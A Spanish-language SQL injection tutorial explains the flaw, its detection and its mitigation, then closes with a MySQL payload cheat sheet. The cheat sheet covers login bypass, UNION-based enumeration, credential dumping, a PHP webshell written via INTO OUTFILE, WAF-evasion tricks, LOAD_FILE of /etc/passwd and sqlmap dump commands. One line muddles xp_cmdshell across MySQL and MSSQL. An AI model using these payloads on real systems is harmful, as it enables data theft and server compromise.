1. Descripción del ataque
SQL Injection (SQLi), es una vulnerabilidad de inyección que ocurre cuando una aplicación web no valida ni filtra correctamente la entrada del usuario antes de incluirla en una consulta SQL.
Esto permite que un atacante manipule la consulta enviada a la base de datos y acceda, modifique o destruya información sensible.
Ejemplo vulnerable en PHP:
<?php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
?>Si el usuario visita:
http://example.com/user.php?id=1La consulta generada será:
SELECT * FROM users WHERE id = 1;Pero un atacante puede enviar:
http://example.com/user.php?id=1 OR 1=1La consulta resultante:
SELECT * FROM users WHERE id = 1 OR 1=1;Esto devuelve todos los usuarios en la tabla, revelando información confidencial.
2. Impacto de la vulnerabilidad
Las consecuencias de una SQLi dependen de los privilegios del usuario con el que la aplicación se conecta a la base de datos, pero pueden incluir:
- Divulgación de información sensible:
Obtener nombres de usuario, contraseñas, correos, datos personales, etc. - Bypass de autenticación:
Ejemplo:
SELECT * FROM users WHERE user = 'admin' AND password = '' OR '1'='1';Permite iniciar sesión sin conocer credenciales.
Modificación o eliminación de datos:
El atacante puede ejecutarUPDATE,DELETE,INSERT.Ejecución remota (RCE):
En algunos motores (ej. MySQL conxp_cmdshellen MSSQL), se pueden ejecutar comandos en el sistema operativo.Exfiltración de toda la base de datos:
Usando técnicas como UNION-based, Error-based o Blind SQLi.
3. Historia y evolución
1998: Primeros reportes de SQL Injection en foros de seguridad.
2000s: Ataques SQLi masivos contra sitios web vulnerables en PHP/ASP.
2008–2010: Aparición de herramientas automatizadas como sqlmap.
2013: OWASP incluyó SQLi como A1 – Injection, siendo la vulnerabilidad más crítica.
Actualidad: Aún es una de las vulnerabilidades más explotadas, especialmente en aplicaciones legacy o con validación débil.
4. Factores que la hacen posible
Concatenación directa de entrada del usuario en consultas SQL.
Falta de validación y sanitización.
Uso de consultas dinámicas inseguras en lugar de queries parametrizadas.
Permisos excesivos en la base de datos (ej.
rootoadmin).Mensajes de error detallados expuestos al cliente.
5. Detección
- Manual:
Probar inyecciones típicas en parámetros como:
' OR 1=1 -- ' UNION SELECT null, null, ...Observar si se modifican los resultados o aparecen errores SQL.
- Automatizada:
Herramientas comunes:- sqlmap
- Burp Suite (Scanner)
- OWASP ZAP
- Havij (antiguo, pero clásico)
Indicadores:
- Respuestas anómalas.
- Mensajes de error SQL visibles.
- Variación en el tiempo de respuesta (en Blind SQLi).
| Tipo de SQLi | Característica | Indicador |
|---|---|---|
| Error-based | Muestra errores SQL | Mensajes de error |
| Union-based | Refleja resultados | Datos visibles |
| Boolean-based | Cambia la respuesta | TRUE/FALSE |
| Time-based | Retrasos en tiempo | delay |
6. Mitigación
Usar consultas parametrizadas (prepared statements).
Ejemplo en PHP con PDO:$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);Usar procedimientos almacenados seguros (no dinámicos).
Validar y sanitizar la entrada:
- Asegurar que
idsea numérico. - Usar listas blancas para valores permitidos.
- Asegurar que
Principio de privilegios mínimos:
- El usuario de la aplicación no debe tener permisos de administración en la base de datos.
Evitar mostrar mensajes de error detallados al usuario final.
Usar un WAF como capa adicional de defensa.
7. Ejemplo de explotación real
Aplicación vulnerable:
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";Payload de ataque:
user=admin' -- pass= (vacío)Consulta ejecutada:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '';Esto ignora la comprobación de contraseña y permite iniciar sesión como administrador.
8. Clasificación
Tipo: Injection flaw
OWASP Top 10 (2017 y 2021): A1 – Injection
CWE:
- CWE-89 – Improper Neutralization of Special Elements used in an SQL Command
9. Resumen
La SQL Injection es una de las vulnerabilidades más antiguas y críticas en aplicaciones web.
Permite manipular consultas SQL para leer, modificar o eliminar datos, saltar autenticaciones e incluso comprometer el sistema operativo.
La mitigación requiere parametrización de consultas, validación estricta y configuración segura de la base de datos.
10. Payloads
SQLi (MySQL/MariaDB)
==1. Bypass de autenticación==
' OR 1=1-- - Objetivo: Evitar la validación de credenciales (usuario y/o contraseña).
Cómo funciona: Este payload manipula la cláusula WHERE de una consulta SQL como:
SELECT * FROM users WHERE username = '' OR 1=1-- -' AND password = '' El OR 1=1 siempre es verdadero, y el resto se comenta con -- -, permitiendo acceder sin credenciales válidas.
==1.1 Uso de valores inválidos (-1) para anular el SELECT original==
Objetivo:
Evitar que la consulta SQL original de la aplicación devuelva resultados, de modo que solo se muestren los datos inyectados mediante UNION SELECT.
Contexto
En una SQL Injection UNION-based, la consulta vulnerable suele tener esta forma:
SELECT col1, col2, col3 FROM items WHERE id = <input>;Cuando el usuario envía un valor válido, por ejemplo:
/item.php?id=1La consulta devuelve un registro real de la base de datos.
Problema al usar UNION sin anular el SELECT original
Si el atacante inyecta directamente:
1 UNION SELECT 1,2,3La consulta resultante será:
SELECT col1, col2, col3 FROM items WHERE id = 1
UNION
SELECT 1,2,3;Esto provoca que:
- El registro legítimo (
id = 1) siga existiendo. - El resultado final combine:
- datos reales de la aplicación
- datos inyectados por el atacante.
Esto puede causar:
- datos mezclados o confusos
- columnas que no se reflejan correctamente
- que la aplicación renderice primero el resultado legítimo y “oculte” el
UNION - errores de tipo o de lógica en la aplicación
Solución: usar un valor inválido (-1) para forzar cero resultados
Para evitar lo anterior, se utiliza un valor que no exista en la base de datos, como -1:
-1 UNION SELECT 1,2,3La consulta generada será:
SELECT col1, col2, col3 FROM items WHERE id = -1
UNION
SELECT 1,2,3;Como normalmente no existe un registro con id = -1, el SELECT original devuelve cero filas.
¿Por qué se usa -1?
No es un valor especial, sino una convención práctica:
- Generalmente no existen IDs negativos.
- En campos
INT UNSIGNED,-1siempre es inválido. - Es corto, claro y estándar en explotación manual y CTFs.
Otros valores inválidos también funcionan, por ejemplo:
0999999- cualquier valor que no corresponda a registros reales.
Para que un UNION SELECT sea limpio y controlable, el SELECT original debe devolver 0 filas.
==2. Deducción del número de columnas (ORDER BY, UNION) ==
Antes de usar UNION, necesitas saber cuántas columnas tiene la consulta original.
ORDER BY hasta que falle:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
...Cuando falla, el número anterior es el total de columnas.
UNION SELECT NULL:
' UNION SELECT NULL-- -
' UNION SELECT NULL, NULL-- -
' UNION SELECT NULL, NULL, NULL-- -
... Vas probando hasta que no dé error. Ese es el número correcto de columnas.
==3. Obtener el nombre de la base de datos actual==
' UNION SELECT 1,database()-- - Objetivo: Obtener el nombre de la base de datos actual del sistema.
Cómo funciona: Usa UNION para combinar resultados y llamar a la función database() (en MySQL/MariaDB). Ejemplo original de la query vulnerable:
SELECT id, name FROM products WHERE id = '1' Se transforma en:
SELECT id, name FROM products WHERE id = '' UNION SELECT 1, database()-- - ==4. Extraer usuario actual y versión==
' UNION SELECT 1, user()-- - ' UNION SELECT 1, version()-- -==5. Listar todas las bases de datos existentes==
' UNION SELECT 1, schema_name FROM information_schema.schemata-- - Objetivo: Enumerar todas las bases de datos disponibles en el servidor.
Cómo funciona: information_schema.schemata es una tabla del sistema que almacena los nombres de todas las bases de datos.
==6. Listar todas las tablas de una base de datos específica==
' UNION SELECT 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='ejemplo_db'-- - Objetivo: Obtener todas las tablas de una base de datos conocida (por ejemplo, después de usar el payload anterior).
Cómo funciona: Consulta la tabla information_schema.tables y concatena todos los nombres de tabla.
Nota: GROUP_CONCAT es útil para ver múltiples resultados en una sola línea.
==7. Listar todas las columnas de una tabla específica==
' UNION SELECT 1, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='ejemplo_db' AND table_name='users'-- - Objetivo: Descubrir qué columnas tiene una tabla (por ejemplo: username, password, email, etc.)
Cómo funciona: Consulta la tabla information_schema.columns filtrando por base de datos y tabla.
==8. Extraer datos de columnas específicas de una tabla==
' UNION SELECT 1, GROUP_CONCAT(user,0x3a,password) FROM users-- - Objetivo: Extraer información sensible (por ejemplo, usuarios y contraseñas) de la tabla directamente.
Cómo funciona: Concatena los valores usuario y clave usando 0x3a (el carácter : en hex) para facilitar su lectura. Ejemplo de salida esperada:
admin:admin123,user1:qwerty,user2:abc123 ==9. Escribir archivos (si tienes permisos)==
Objetivo: Subir una webshell o cualquier archivo al servidor explotando una inyección SQL, si el usuario de base de datos tiene el permiso especial FILE.
Cómo funciona: INTO OUTFILE es una cláusula de MySQL/MariaDB que permite escribir el resultado de una consulta en un archivo del sistema.
Si el usuario tiene permisos FILE, puede escribir directamente en el sistema de archivos del servidor donde se ejecuta MySQL.
Esto puede usarse para subir una webshell PHP, que luego se puede ejecutar accediendo a ella vía navegador:
' UNION SELECT "<?php system($_GET['cmd']); ?>", null INTO OUTFILE '/var/www/html/shell.php'-- -Este payload, crea un archivo PHP con una shell muy básica que permite ejecutar comandos desde el navegador: http://victima.com/shell.php?cmd=whoami
==10. Carga útil con comentarios y evasión==
Objetivo: Evadir filtros o firewalls de aplicaciones (WAF) que buscan patrones comunes de SQLi como OR 1=1, UNION SELECT, etc.
Cómo funciona: Muchos WAFs hacen inspección superficial del texto de entrada. Insertar comentarios inline (/**/) o usar otras técnicas puede romper sus patrones sin romper la lógica SQL.
MySQL, por ejemplo, ignora los comentarios /**/ y continúa ejecutando la sentencia como si no estuvieran ahí:
1/**/OR/**/1=1-- - 1'/**/UNION/**/SELECT/**/NULL,NULL-- - Comentarios especiales de MySQL:
/* !UNION* / /*!SELECT* / NULL,NULL-- - MySQL interpreta estas directivas como código válido si la versión es compatible. Algunos WAFs no las detectan.
Codificación URL:
1%2f%2a%2a%2fOR%2f%2a%2a%2f1=1--%20 Equivale a
1/**/OR/**/1=1-- Muy útil para romper filtros que no decodifican la entrada.
Separación de palabras clave:
SE/**/LECT
UNI/**/ON==11. Otras funciones interesantes en MySQL==
Listar usuarios (en versiones antiguas):
' UNION SELECT 1, user FROM mysql.user-- - Archivos cargados:
' UNION SELECT 1, LOAD_FILE('/etc/passwd')-- - Esquema completo:
' UNION SELECT table_schema, table_name FROM information_schema.tables-- -==12. Automatización con SQLMap ==
Puedes dejar que sqlmap lo haga todo con:
sqlmap -u "http://example.com/page.php?id=1" --dump –batch Y si el campo está en un formulario:
sqlmap -u "http://example.com/login.php" --data "username=admin&password=1" --batch –dumpEnumerar bases de datos:
sqlmap -u "http://example.com/page.php?id=1" --dbs Enumerar tablas de una DB:
sqlmap -u "http://example.com/page.php?id=1" -D ejemplo_db --tables Enumerar columnas:
sqlmap -u "http://example.com/page.php?id=1" -D ejemplo_db -T users --columns Extraer datos:
sqlmap -u "http://example.com/page.php?id=1" -D ejemplo_db -T users -C "user,password" --dump Variantes adaptables
database(): Cambia acurrent_database()en PostgreSQL.information_schema: Existe en MySQL, PostgreSQL y otros, pero con estructuras distintas.GROUP_CONCAT(): existe solo en MySQL. En PostgreSQL usaríasstring_agg().